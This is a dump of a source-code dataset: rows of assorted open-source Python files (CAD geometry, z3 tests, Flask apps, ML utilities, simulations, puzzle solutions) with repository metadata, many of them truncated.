] | 1 | 2021-05-31T00:08:02.000Z | 2021-05-31T00:08:02.000Z | pallet.py | sprightlyManifesto/cadQuery2 | 207a1ff2420210460539400dfd1945e8b7245497 | [
"MIT"
] | null | null | null | pallet.py | sprightlyManifesto/cadQuery2 | 207a1ff2420210460539400dfd1945e8b7245497 | [
"MIT"
] | null | null | null | from cadquery import *
from math import sin,cos,acos,asin,pi,atan2
class Pallet:
def __init__(self):
self.torx6 = { 6:(1.75,1.27), 8:(2.4,1.75), 10:(2.8,2.05), 15:(3.35,2.4), 20:(3.95,2.85),
25:(4.50,3.25), 30:(5.6,4.05), 40:(6.75,4.85),45:(7.93,5.64), 50:(8.95,6.45),
... | 48.308824 | 101 | 0.497717 | 2,986 | 0.90898 | 0 | 0 | 0 | 0 | 0 | 0 | 150 | 0.045662 |
a8071813703c97e154c1a58b74d953608becaf8d | 235 | py | Python | old-regressions/python/tst6.py | muchang/z3test | e3e7739f98b7aa85427fcb8a39a4c675132a896e | [
"MIT"
] | 23 | 2015-04-20T08:51:00.000Z | 2021-11-15T12:20:59.000Z | old-regressions/python/tst6.py | muchang/z3test | e3e7739f98b7aa85427fcb8a39a4c675132a896e | [
"MIT"
] | 18 | 2016-03-02T15:17:42.000Z | 2021-12-16T22:10:05.000Z | old-regressions/python/tst6.py | muchang/z3test | e3e7739f98b7aa85427fcb8a39a4c675132a896e | [
"MIT"
] | 30 | 2015-05-30T15:29:17.000Z | 2022-02-25T15:58:58.000Z |
# Copyright (c) 2015 Microsoft Corporation
from z3 import *
print(simplify(Sqrt(2)).sexpr())
set_option(":pp-decimal-precision", 50, pp_decimal=True)
print(simplify(Sqrt(2)).sexpr())
set_option(precision=20)
print(simplify(Sqrt(2)))
| 23.5 | 56 | 0.744681 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 65 | 0.276596 |
a808c833e4004773a8618ea9f6a2827bf0e5f1ca | 2,044 | py | Python | data-detective-airflow/tests/dag_generator/test_tdag.py | dmitriy-e/metadata-governance | 018a879951dee3f3c2c05ac8e05b8360dd7f4ab3 | [
"Apache-2.0"
] | 5 | 2021-12-01T09:55:23.000Z | 2021-12-21T16:23:33.000Z | data-detective-airflow/tests/dag_generator/test_tdag.py | dmitriy-e/metadata-governance | 018a879951dee3f3c2c05ac8e05b8360dd7f4ab3 | [
"Apache-2.0"
] | 1 | 2021-11-16T15:55:34.000Z | 2021-11-16T15:55:34.000Z | data-detective-airflow/tests/dag_generator/test_tdag.py | dmitriy-e/metadata-governance | 018a879951dee3f3c2c05ac8e05b8360dd7f4ab3 | [
"Apache-2.0"
] | 2 | 2021-11-03T09:43:09.000Z | 2021-11-17T10:16:29.000Z | import pytest
import allure
from data_detective_airflow.constants import PG_CONN_ID, S3_CONN_ID
from data_detective_airflow.dag_generator.results import PgResult, PickleResult
from data_detective_airflow.dag_generator import ResultType, WorkType
@allure.feature('Dag results')
@allure.story('Create Pickle')
def test_... | 41.714286 | 88 | 0.611546 | 0 | 0 | 0 | 0 | 1,788 | 0.874755 | 0 | 0 | 114 | 0.055773 |
a8094575efb5f9d3bcb611dcb83074209e70f07f | 478 | py | Python | Algorithms/Easy/830. Positions of Large Groups/answer.py | KenWoo/Algorithm | 4012a2f0a099a502df1e5df2e39faa75fe6463e8 | [
"Apache-2.0"
] | null | null | null | Algorithms/Easy/830. Positions of Large Groups/answer.py | KenWoo/Algorithm | 4012a2f0a099a502df1e5df2e39faa75fe6463e8 | [
"Apache-2.0"
] | null | null | null | Algorithms/Easy/830. Positions of Large Groups/answer.py | KenWoo/Algorithm | 4012a2f0a099a502df1e5df2e39faa75fe6463e8 | [
"Apache-2.0"
] | null | null | null | from typing import List
class Solution:
def largeGroupPositions(self, S: str) -> List[List[int]]:
l = []
start = end = 0
while start < len(S):
while end < len(S) and S[start] == S[end]:
end += 1
if end - start >= 3:
l.append([start, e... | 22.761905 | 61 | 0.493724 | 343 | 0.717573 | 0 | 0 | 0 | 0 | 0 | 0 | 15 | 0.031381 |
a80a22c9f777e08edf7fe7ed83b93c4fd1e307bc | 1,727 | py | Python | imu.py | aume1/SatelliteTracker | 62725e1d1a72a1350b2af15d9e33fcd574ceb3a2 | [
"MIT"
] | 2 | 2021-06-19T17:17:30.000Z | 2021-06-19T17:17:39.000Z | imu.py | aume1/SatelliteTracker | 62725e1d1a72a1350b2af15d9e33fcd574ceb3a2 | [
"MIT"
] | null | null | null | imu.py | aume1/SatelliteTracker | 62725e1d1a72a1350b2af15d9e33fcd574ceb3a2 | [
"MIT"
] | 1 | 2021-06-19T17:18:32.000Z | 2021-06-19T17:18:32.000Z | import time
import math
import py_qmc5883l
import pigpio
import adafruit_bmp280
from i2c_ADXL345 import ADXL345
import numpy as np
from i2c_ITG3205 import Gyro
class IMU:
def __init__(self, pi):
self.gyro = Gyro(pi)
self.accel = ADXL345(pi)
self.mag = py_qmc5883l.QMC5883L(pi)
rpy =... | 28.311475 | 104 | 0.579618 | 1,423 | 0.823972 | 0 | 0 | 0 | 0 | 0 | 0 | 223 | 0.129126 |
a80b6a8d0bacba13b3fe61daf36962d8ad3001a4 | 8,892 | py | Python | src/titanic/tit_utils.py | buffbob/titanic | 1e52814076ad78f6f9845d7b8f829889977a907b | [
"MIT"
] | null | null | null | src/titanic/tit_utils.py | buffbob/titanic | 1e52814076ad78f6f9845d7b8f829889977a907b | [
"MIT"
] | null | null | null | src/titanic/tit_utils.py | buffbob/titanic | 1e52814076ad78f6f9845d7b8f829889977a907b | [
"MIT"
] | null | null | null | import pandas as pd
from sklearn.model_selection import GridSearchCV, train_test_split, cross_val_score
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import accuracy_score, classification_report
import matplotlib.pyplot as plt
import numpy as np
import category_encoders as ce
from sklearn.preproc... | 31.870968 | 109 | 0.624944 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,453 | 0.388327 |
a80bd9815a0efacc56fe16adf0b6e490442b6851 | 161 | py | Python | magic_markdown/__init__.py | transfluxus/magic_markdown | 3a71d0c0a0937dc87973b6e19389f27575e16208 | [
"MIT"
] | 10 | 2019-04-09T17:33:52.000Z | 2021-05-10T04:58:59.000Z | magic_markdown/__init__.py | transfluxus/magic_markdown | 3a71d0c0a0937dc87973b6e19389f27575e16208 | [
"MIT"
] | null | null | null | magic_markdown/__init__.py | transfluxus/magic_markdown | 3a71d0c0a0937dc87973b6e19389f27575e16208 | [
"MIT"
] | null | null | null | name = "magic_markdown"
from magic_markdown.MagicMarkdown import MagicMarkdown
def load_ipython_extension(ipython):
ipython.register_magics(MagicMarkdown)
| 23 | 54 | 0.838509 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 16 | 0.099379 |
a80cfdeae5dd9779dfdf75f7f464b230527883ae | 1,167 | py | Python | src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py | BoKleynen/P-O-3-Smart-Energy-Home | 4849038c47199aa0a752ff5a4f2afa91f4a9e8f0 | [
"MIT"
] | null | null | null | src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py | BoKleynen/P-O-3-Smart-Energy-Home | 4849038c47199aa0a752ff5a4f2afa91f4a9e8f0 | [
"MIT"
] | null | null | null | src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py | BoKleynen/P-O-3-Smart-Energy-Home | 4849038c47199aa0a752ff5a4f2afa91f4a9e8f0 | [
"MIT"
] | null | null | null | import matplotlib.pyplot as plt
import pandas as pd
from house.production.solar_panel import SolarPanel
from house import House
from math import pi
from time import time
start_time = time()
solar_panel_east = SolarPanel(285.0, 10*pi/180, -pi/2, 0.87, 1.540539, 10)
solar_panel_west = SolarPanel(285.0, 10*pi/180, pi/2... | 33.342857 | 167 | 0.642674 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 271 | 0.232219 |
a813a7003f5f5d2c9a1b282747c12188d836b770 | 2,468 | py | Python | src/lsct/models/cnn_1d.py | junyongyou/lsct_phiqnet | ffa546b3225c7db0bc7977565dc11a91186fe939 | [
"MIT"
] | 9 | 2021-11-01T06:06:33.000Z | 2022-02-07T12:21:18.000Z | src/lsct/models/cnn_1d.py | junyongyou/lsct_phiqnet | ffa546b3225c7db0bc7977565dc11a91186fe939 | [
"MIT"
] | null | null | null | src/lsct/models/cnn_1d.py | junyongyou/lsct_phiqnet | ffa546b3225c7db0bc7977565dc11a91186fe939 | [
"MIT"
] | 1 | 2022-03-06T07:38:32.000Z | 2022-03-06T07:38:32.000Z | from tensorflow.keras.layers import Layer, Conv1D, Input, Dropout, MaxPool1D, Masking
import tensorflow.keras.backend as K
from tensorflow.keras import Model
import tensorflow as tf
class CNN1D(Layer):
def __init__(self, filters=(32, 64), pooling_sizes=(4, 4), kernel_size=3, stride_size=1, using_dropout=True,
... | 37.393939 | 112 | 0.573339 | 1,986 | 0.8047 | 0 | 0 | 0 | 0 | 0 | 0 | 498 | 0.201783 |
a81433a2173979769be9813ef0e72f88f835d3f9 | 339 | py | Python | 1 clean code/auto_format_on_save.py | philippschmalen/ml-devops-engineer | 98c4c94b807215e2a909905235bde4a8d022477f | [
"MIT"
] | null | null | null | 1 clean code/auto_format_on_save.py | philippschmalen/ml-devops-engineer | 98c4c94b807215e2a909905235bde4a8d022477f | [
"MIT"
] | null | null | null | 1 clean code/auto_format_on_save.py | philippschmalen/ml-devops-engineer | 98c4c94b807215e2a909905235bde4a8d022477f | [
"MIT"
] | null | null | null | """
Play with autoformatting on save
Ensure to pip install black within your environment
"""
# test linting with an unnecessary import
# it should complain and suggest a solution
import sys
thisdict = {
"brand": "Ford",
"model": "Mustang",
"year": 1964,
"okay": "This is getting way too long",
}
def... | 16.142857 | 51 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 247 | 0.728614 |
a81435452d7a1fd0220c50904adbc5e774a45f27 | 931 | py | Python | test/utils.py | eddrial/aapy | 929f554aea24c0a893052f0907488e0a843fd5dd | [
"Apache-2.0"
] | null | null | null | test/utils.py | eddrial/aapy | 929f554aea24c0a893052f0907488e0a843fd5dd | [
"Apache-2.0"
] | null | null | null | test/utils.py | eddrial/aapy | 929f554aea24c0a893052f0907488e0a843fd5dd | [
"Apache-2.0"
] | null | null | null | import json
import os
import mock
def mock_response(json_str=None, raw=None):
resp = mock.MagicMock()
if json_str is not None:
loaded_json = json.loads(json_str)
resp.json = mock.MagicMock(return_value=loaded_json)
if raw is not None:
resp.raw = mock.MagicMock()
resp.raw.r... | 21.159091 | 68 | 0.651987 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 317 | 0.340494 |
a81666f0e6701e07b7dd6f00c88fe2096ec32290 | 391 | py | Python | archive/AIAP_v1.00/v1.2b/promoter_bin.py | ShaopengLiu1/Zhanglab_ATAC-seq_analysis | 3f615c159bb04fcc3f7b777e00c5f04ff105898c | [
"MIT"
] | null | null | null | archive/AIAP_v1.00/v1.2b/promoter_bin.py | ShaopengLiu1/Zhanglab_ATAC-seq_analysis | 3f615c159bb04fcc3f7b777e00c5f04ff105898c | [
"MIT"
] | null | null | null | archive/AIAP_v1.00/v1.2b/promoter_bin.py | ShaopengLiu1/Zhanglab_ATAC-seq_analysis | 3f615c159bb04fcc3f7b777e00c5f04ff105898c | [
"MIT"
] | 1 | 2018-02-26T03:14:46.000Z | 2018-02-26T03:14:46.000Z | import sys
peak=[]
with open(sys.argv[1],'r') as f:
for line in f:
line=line.strip('\n').split('\t')
peak.append(int(line[3]))
f.close()
num=int(len(peak)/100.0)
bin=[]
for i in range(99):
bin.append(str(i+1)+'\t'+str(sum(peak[num*i:num*(i+1)])/(num*1.0))+'\n')
bin.append('100'+'\t'+str(sum(peak[num*99:])/(num*... | 20.578947 | 73 | 0.59335 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 44 | 0.112532 |
a8172aac1601eb8a00a3b924aa63876138f48a83 | 1,347 | py | Python | Code/Database Creator/examples.py | Storm-Petrel/HawkEye | f9afde3866ab9e5e71de7f2be4d836be9ed48d69 | [
"MIT"
] | null | null | null | Code/Database Creator/examples.py | Storm-Petrel/HawkEye | f9afde3866ab9e5e71de7f2be4d836be9ed48d69 | [
"MIT"
] | null | null | null | Code/Database Creator/examples.py | Storm-Petrel/HawkEye | f9afde3866ab9e5e71de7f2be4d836be9ed48d69 | [
"MIT"
] | null | null | null | import csv
from faker import Faker
fake = Faker()
for x in range(0, 10):
placa = fake.pystr(min_chars=3, max_chars=3).upper() + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True))
placa = placa.replace(".","")
atua... | 51.807692 | 193 | 0.697847 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 34 | 0.025241 |
a8178087a6d24532c3fa392eae43c6d6a8b30612 | 4,595 | py | Python | MultiInputDialog.py | chemmatcars/XModFit | 7d1298448d1908d78797fd67ce0a00ecfaf17629 | [
"MIT"
] | null | null | null | MultiInputDialog.py | chemmatcars/XModFit | 7d1298448d1908d78797fd67ce0a00ecfaf17629 | [
"MIT"
] | 2 | 2019-07-31T23:14:14.000Z | 2020-12-26T16:27:02.000Z | MultiInputDialog.py | chemmatcars/XModFit | 7d1298448d1908d78797fd67ce0a00ecfaf17629 | [
"MIT"
] | 2 | 2019-07-31T22:22:06.000Z | 2020-07-14T04:58:16.000Z | from PyQt5.QtWidgets import QWidget, QApplication, QPushButton, QLabel, QLineEdit, QVBoxLayout, QMessageBox, QCheckBox,\
QSpinBox, QComboBox, QListWidget, QDialog, QFileDialog, QProgressBar, QTableWidget, QTableWidgetItem,\
QAbstractItemView, QSpinBox, QSplitter, QSizePolicy, QAbstractScrollArea, QHBoxLayout, Q... | 47.864583 | 120 | 0.654189 | 3,871 | 0.842437 | 0 | 0 | 0 | 0 | 0 | 0 | 100 | 0.021763 |
a81b25109e2c25d80338be4ee486823e581a2347 | 3,813 | py | Python | src/handlers.py | jneethling/WikiStats | 232640bf3799851554fa4c13cee8a7f63eb532e2 | [
"MIT"
] | null | null | null | src/handlers.py | jneethling/WikiStats | 232640bf3799851554fa4c13cee8a7f63eb532e2 | [
"MIT"
] | 1 | 2022-01-09T12:07:13.000Z | 2022-01-09T15:29:41.000Z | src/handlers.py | jneethling/WikiStats | 232640bf3799851554fa4c13cee8a7f63eb532e2 | [
"MIT"
] | null | null | null | import os
import psutil
import json
import sqlite3
import threading
from datetime import datetime, timezone
from websocket import create_connection
class CustomHandler:
def __init__(self):
self.working = False
self.counter = 0
self.ws = None
if self.dbReady('./data/wiki_statsDB'):... | 32.87069 | 199 | 0.575924 | 3,654 | 0.958301 | 0 | 0 | 0 | 0 | 0 | 0 | 911 | 0.238919 |
a81d611063f78006b5948c72bc4dd6b96d015544 | 1,035 | py | Python | simulate/continue.py | kmckiern/scripts | acc8326ca653d804ee06752af9e7f5b011fc6e0e | [
"MIT"
] | 2 | 2015-04-27T01:57:43.000Z | 2015-05-01T18:18:56.000Z | simulate/continue.py | kmckiern/scripts | acc8326ca653d804ee06752af9e7f5b011fc6e0e | [
"MIT"
] | null | null | null | simulate/continue.py | kmckiern/scripts | acc8326ca653d804ee06752af9e7f5b011fc6e0e | [
"MIT"
] | null | null | null | from __future__ import print_function
from simtk.openmm import app
import simtk.openmm as mm
from simtk import unit
from sys import stdout
import os
import time
import numpy as np
import argparse
from equil import setup_sim, dynamix
parser = argparse.ArgumentParser(description='equilibrate structures')
parser.add_argu... | 26.538462 | 88 | 0.745894 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 215 | 0.207729 |
a81eba16cf9a55afaac7c0432d5bc776ba731b35 | 40,893 | py | Python | py/agentflow/preprocessors/observation_transforms_test.py | wx-b/dm_robotics | 5d407622360ccf7f0b4b50bcee84589e2cfd0783 | [
"Apache-2.0"
] | 128 | 2021-09-08T18:39:39.000Z | 2022-03-27T11:29:05.000Z | py/agentflow/preprocessors/observation_transforms_test.py | wx-b/dm_robotics | 5d407622360ccf7f0b4b50bcee84589e2cfd0783 | [
"Apache-2.0"
] | 7 | 2021-10-11T14:26:17.000Z | 2022-03-15T17:26:45.000Z | py/agentflow/preprocessors/observation_transforms_test.py | LaudateCorpus1/dm_robotics | 647bc810788c74972c1684a8d2e4d2dfd2791485 | [
"Apache-2.0"
] | 8 | 2021-09-08T18:25:49.000Z | 2022-02-21T23:45:16.000Z | # Copyright 2020 DeepMind Technologies Limited.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | 39.358037 | 80 | 0.706747 | 37,005 | 0.904923 | 0 | 0 | 13,818 | 0.337906 | 0 | 0 | 4,055 | 0.099161 |
a81fa302f2ff4cbc6dc18bbb647920f29a503d5e | 1,897 | py | Python | 2017/23b.py | mcbor/advent_of_code_2016 | 14453b970d3e0f031ae6a66f2028652b6ed870dd | [
"MIT"
] | 1 | 2016-12-17T10:53:22.000Z | 2016-12-17T10:53:22.000Z | 2017/23b.py | mcbor/adventofcode | 14453b970d3e0f031ae6a66f2028652b6ed870dd | [
"MIT"
] | null | null | null | 2017/23b.py | mcbor/adventofcode | 14453b970d3e0f031ae6a66f2028652b6ed870dd | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
23b.py
~~~~~~
Advent of Code 2017 - Day 23: Coprocessor Conflagration
Part Two
Now, it's time to fix the problem.
The debug mode switch is wired directly to register a. You flip the switch,
which makes register a now start at 1 when the pr... | 24.012658 | 79 | 0.615709 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,109 | 0.584607 |
a81fc289f1eb7f0a4f761bd960c55555bea22c98 | 4,456 | py | Python | game_of_life.py | WinterWonderland/Game_of_Life | 99eced42146a195b6a7bc423f76f0fd79f5771d2 | [
"MIT"
] | null | null | null | game_of_life.py | WinterWonderland/Game_of_Life | 99eced42146a195b6a7bc423f76f0fd79f5771d2 | [
"MIT"
] | null | null | null | game_of_life.py | WinterWonderland/Game_of_Life | 99eced42146a195b6a7bc423f76f0fd79f5771d2 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Thu Sep 20 11:59:50 2018
@author: klaus
"""
import numpy as np
import matplotlib.pyplot as plt
import time
import random
from argparse import ArgumentParser, RawTextHelpFormatter
class GameOfLife:
def __init__(self, width, height, interval, seed):
ran... | 41.64486 | 123 | 0.47711 | 2,446 | 0.548923 | 0 | 0 | 0 | 0 | 0 | 0 | 623 | 0.139811 |
a82054bcbbc93091d6cde0c3bba2fa420fc0e4b0 | 520 | py | Python | tests/mixins/back_tests.py | StuartMacKay/ebird-api | 14b5c777548416a58abec05e25cd4b9a8e22f210 | [
"MIT"
] | 9 | 2020-05-16T20:26:33.000Z | 2021-11-02T06:24:46.000Z | tests/mixins/back_tests.py | StuartMacKay/ebird-api | 14b5c777548416a58abec05e25cd4b9a8e22f210 | [
"MIT"
] | 17 | 2019-06-22T09:41:22.000Z | 2020-09-11T06:25:21.000Z | tests/mixins/back_tests.py | ProjectBabbler/ebird-api | 14b5c777548416a58abec05e25cd4b9a8e22f210 | [
"MIT"
] | null | null | null | from ebird.api.constants import DEFAULT_BACK
from tests.mixins.base import BaseMixin
class BackTestsMixin(BaseMixin):
def test_back_is_sent(self):
query = self.api_call(back=10)[1]
self.assertEqual(query["back"], 10)
def test_default_back_is_not_sent(self):
query = self.api_call(back=... | 30.588235 | 51 | 0.709615 | 432 | 0.830769 | 0 | 0 | 0 | 0 | 0 | 0 | 15 | 0.028846 |
a820c01ed9ab1a3512b23d858002b832b81b6f26 | 506 | py | Python | examples/snippets/data_io/df_connect/export_simple.py | nguyentr17/tamr-toolbox | 1d27101eda12f937813cdbfe27e2fa9c33ac34d2 | [
"Apache-2.0"
] | 6 | 2021-02-09T22:27:55.000Z | 2022-01-14T18:15:17.000Z | examples/snippets/data_io/df_connect/export_simple.py | nguyentr17/tamr-toolbox | 1d27101eda12f937813cdbfe27e2fa9c33ac34d2 | [
"Apache-2.0"
] | 34 | 2021-02-09T22:23:33.000Z | 2022-03-31T16:22:51.000Z | examples/snippets/data_io/df_connect/export_simple.py | nguyentr17/tamr-toolbox | 1d27101eda12f937813cdbfe27e2fa9c33ac34d2 | [
"Apache-2.0"
] | 12 | 2021-02-09T21:17:10.000Z | 2022-02-09T16:35:39.000Z | """
Export data from Tamr using df-connect. An example where everything is default in config file,
which implies exported data is written back to same database as ingested from.
"""
import tamr_toolbox as tbox
my_config = tbox.utils.config.from_yaml("examples/resources/conf/connect.config.yaml")
my_connect = tbox.dat... | 36.142857 | 94 | 0.8083 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 265 | 0.523715 |
a822bff3f043bc516ac3c82ab2394920c525256d | 1,700 | py | Python | services/web/project/auth/forms.py | petervuyk456/persona_finance | 5c4c1bea0e176f37cc122571b846de1f020bdd92 | [
"MIT"
] | null | null | null | services/web/project/auth/forms.py | petervuyk456/persona_finance | 5c4c1bea0e176f37cc122571b846de1f020bdd92 | [
"MIT"
] | null | null | null | services/web/project/auth/forms.py | petervuyk456/persona_finance | 5c4c1bea0e176f37cc122571b846de1f020bdd92 | [
"MIT"
] | null | null | null | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField
from wtforms.validators import DataRequired, Length, EqualTo, URL
from project.auth.models import User
class LoginForm(FlaskForm):
username = StringField('Username', [DataRequired(), Length(max=64)])
password = Passwo... | 32.075472 | 72 | 0.629412 | 1,498 | 0.881176 | 0 | 0 | 0 | 0 | 0 | 0 | 208 | 0.122353 |
a82471d2b32cd5726156914bf073feb69a5965b8 | 10,619 | py | Python | projectGo.py | KyleBrownCS/SoftDev2 | c992061a849f19f1ccbea71e4c0aa97fb2e135dc | [
"MIT"
] | null | null | null | projectGo.py | KyleBrownCS/SoftDev2 | c992061a849f19f1ccbea71e4c0aa97fb2e135dc | [
"MIT"
] | null | null | null | projectGo.py | KyleBrownCS/SoftDev2 | c992061a849f19f1ccbea71e4c0aa97fb2e135dc | [
"MIT"
] | null | null | null | from flask import Flask, render_template, request, jsonify
import sqlite3
import json
import re
import logging
from applicationInfo import ApplicationInfo
logging.basicConfig(filename='/var/www/SoftDev2/projectGo.log', level=logging.DEBUG)
app = Flask(__name__)
applicationInfo = ApplicationInfo()
row_pos_obligation... | 39.475836 | 297 | 0.617384 | 0 | 0 | 0 | 0 | 9,861 | 0.928619 | 0 | 0 | 2,469 | 0.232508 |
a8247bed0a1cb5051fa0d35c0fab64fca16aa20d | 1,396 | py | Python | python/cuML/test/test_dbscan.py | rongou/cuml | 9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec | [
"Apache-2.0"
] | null | null | null | python/cuML/test/test_dbscan.py | rongou/cuml | 9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec | [
"Apache-2.0"
] | null | null | null | python/cuML/test/test_dbscan.py | rongou/cuml | 9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2018, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 32.465116 | 86 | 0.703438 | 0 | 0 | 0 | 0 | 637 | 0.456304 | 0 | 0 | 613 | 0.439112 |
a827531247ffd24ded530b9e0dea0c181d142c7b | 114 | py | Python | math_and_algorithm/024.py | tonko2/AtCoder | 5d617072517881d226d7c8af09cb88684d41af7e | [
"Xnet",
"X11",
"CECILL-B"
] | 2 | 2022-01-22T07:56:58.000Z | 2022-01-24T00:29:37.000Z | math_and_algorithm/024.py | tonko2/AtCoder | 5d617072517881d226d7c8af09cb88684d41af7e | [
"Xnet",
"X11",
"CECILL-B"
] | null | null | null | math_and_algorithm/024.py | tonko2/AtCoder | 5d617072517881d226d7c8af09cb88684d41af7e | [
"Xnet",
"X11",
"CECILL-B"
] | null | null | null | N = int(input())
ans = 0
for _ in range(N):
p, q = map(int, input().split())
ans += (1 / p) * q
print(ans) | 19 | 36 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a8276b0d3215a9fe2604eec700ad87c77dc2f29b | 769 | py | Python | LeetCode/0023_merge_k_sorted_lists.py | KanegaeGabriel/ye-olde-interview-prep-grind | 868362872523a5688f49ab48efb09c3008e0db4d | [
"MIT"
] | 1 | 2020-05-13T19:16:23.000Z | 2020-05-13T19:16:23.000Z | LeetCode/0023_merge_k_sorted_lists.py | KanegaeGabriel/ye-olde-interview-prep-grind | 868362872523a5688f49ab48efb09c3008e0db4d | [
"MIT"
] | null | null | null | LeetCode/0023_merge_k_sorted_lists.py | KanegaeGabriel/ye-olde-interview-prep-grind | 868362872523a5688f49ab48efb09c3008e0db4d | [
"MIT"
] | null | null | null | from heapq import heappush, heappop
class ListNode:
def __init__(self, x):
self.val = x
self.next = None
def __lt__(self, other):
return self.val < other.val
def mergeKLists(lists):
result = ListNode(-1)
p = result
heap = []
for l in lists:
if l: heappush(heap... | 17.477273 | 45 | 0.579974 | 154 | 0.20026 | 0 | 0 | 0 | 0 | 0 | 0 | 20 | 0.026008 |
a8281ad0fab5136b54ef02f2bff2a74dd9aaaf90 | 166 | py | Python | archiver/utils.py | jenrik/archiver | b9e10661d6a79b745796b248c35287db232da8ff | [
"BSD-3-Clause"
] | null | null | null | archiver/utils.py | jenrik/archiver | b9e10661d6a79b745796b248c35287db232da8ff | [
"BSD-3-Clause"
] | null | null | null | archiver/utils.py | jenrik/archiver | b9e10661d6a79b745796b248c35287db232da8ff | [
"BSD-3-Clause"
] | null | null | null | def archive_link(link):
# Create a snapshot of the link on the internet archive
# ToDo
# Ref: https://archive.readme.io/docs/creating-a-snapshot
pass
| 27.666667 | 61 | 0.692771 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 118 | 0.710843 |
a82a766dd5a8919e5aec354cbe63b71c9cd59549 | 2,297 | py | Python | source/cell_mask/cell_mask.py | zhanyinx/SPT_analysis | 1cf806c1fd6051e7fc998d2860a16bea6aa9de1a | [
"MIT"
] | 1 | 2021-07-09T11:51:04.000Z | 2021-07-09T11:51:04.000Z | source/cell_mask/cell_mask.py | zhanyinx/SPT_analysis | 1cf806c1fd6051e7fc998d2860a16bea6aa9de1a | [
"MIT"
] | null | null | null | source/cell_mask/cell_mask.py | zhanyinx/SPT_analysis | 1cf806c1fd6051e7fc998d2860a16bea6aa9de1a | [
"MIT"
] | null | null | null | import argparse
import glob
import numpy as np
import os
import skimage.io
import torch
import tifffile
from cellpose import models
def _parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser()
parser.add_argument(
"-i",
"--input",
type=str,
def... | 25.241758 | 85 | 0.562908 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 462 | 0.201132 |
a82b6067d87e3c320c8e0fb55b9b998dccade592 | 14,134 | py | Python | 02-customer-cliff-dive/python/emery_leslie.py | leslem/insight-data-challenges | 14c56d30663d7fef178b820d2128dbf4782c1200 | [
"MIT"
] | null | null | null | 02-customer-cliff-dive/python/emery_leslie.py | leslem/insight-data-challenges | 14c56d30663d7fef178b820d2128dbf4782c1200 | [
"MIT"
] | 1 | 2021-06-08T02:43:08.000Z | 2021-06-08T03:05:21.000Z | 02-customer-cliff-dive/python/emery_leslie.py | leslem/insight-data-challenges | 14c56d30663d7fef178b820d2128dbf4782c1200 | [
"MIT"
] | null | null | null | # # Customer cliff dive data challenge
# 2020-02-17
# Leslie Emery
# ## Summary
# ### The problem
# The head of the Yammer product team has noticed a precipitous drop in weekly active users, which is one of the main KPIs for customer engagement. What has caused this drop?
# ### My approach and results
# I began b... | 51.963235 | 524 | 0.743809 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8,119 | 0.57443 |
a82ba74fc6af916b17675886faaf3aad6278c7c2 | 796 | py | Python | students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py | ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021 | bb91c91a56d21cec2b12ae4cc722eaa652a88420 | [
"MIT"
] | 4 | 2020-09-03T15:41:42.000Z | 2021-12-24T15:28:20.000Z | students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py | ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021 | bb91c91a56d21cec2b12ae4cc722eaa652a88420 | [
"MIT"
] | 48 | 2020-09-13T20:22:42.000Z | 2021-04-30T11:13:30.000Z | students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py | ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021 | bb91c91a56d21cec2b12ae4cc722eaa652a88420 | [
"MIT"
] | 69 | 2020-09-06T10:32:37.000Z | 2021-11-28T18:13:17.000Z | import socket
import threading
import random
def send_message():
try:
while True:
msg = input()
sock.send(bytes(name + ": " + msg, 'utf-8'))
if msg == '\leave chat':
sock.close()
break
except Exception:
pass
finally:
... | 20.410256 | 56 | 0.548995 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 66 | 0.082915 |
a82c200cd117a48cc9a2ebacd146f50b56baabcf | 23,587 | py | Python | convolutional_attention/token_naming_data.py | s1530129650/convolutional-attention | 8839da8146962879bb419a61253e7cf1b684fb22 | [
"BSD-3-Clause"
] | 128 | 2016-05-10T01:38:27.000Z | 2022-02-04T07:14:12.000Z | convolutional_attention/token_naming_data.py | s1530129650/convolutional-attention | 8839da8146962879bb419a61253e7cf1b684fb22 | [
"BSD-3-Clause"
